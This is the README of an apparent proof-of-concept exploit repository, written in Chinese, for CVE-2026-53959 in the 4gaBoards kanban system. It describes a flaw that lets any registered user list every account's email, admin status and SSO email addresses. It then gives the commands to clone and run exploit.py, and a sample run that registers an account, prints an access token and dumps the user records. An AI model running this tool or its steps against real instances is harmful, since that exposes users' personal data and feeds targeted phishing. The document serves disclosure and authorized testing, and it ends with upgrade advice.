本仓库包含针对 CVE-2026-53959 的概念验证（PoC）漏洞利用代码
本项目仅供教育目的和授权安全测试使用。请勿将其用于你不拥有或无权限测试的系统。
4gaBoards 是一个用于实时项目管理的看板系统。在 3.3.9 版本之前，4gaBoards 允许任何已认证用户通过 GET /api/users 枚举所有用户的账户信息，并通过 GET /api/users/:id 检索任意账户。users/index 和 users/show 操作仅依赖 server/config/policies.js 中的默认 is-authenticated 策略，而 server/api/controllers/users/index.js 直接返回 sails.helpers.users.getMany() 的结果，没有进行针对请求者的授权检查或响应清理。响应会暴露邮箱、电话、组织、姓名、isAdmin、ssoGoogleEmail、ssoGithubEmail 以及其他 SSO 关联的邮箱字段，包括管理员的数据。这会导致全实例范围内的用户枚举、隐私泄露和有针对性钓鱼侦察。该问题已在 3.3.9 版本中修复。
| 组件 | 版本 |
|---|---|
| 存在漏洞 | <=3.3.8 |
| 已修复 | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
请将 4gaBoards 升级至 3.3.9 或更高版本。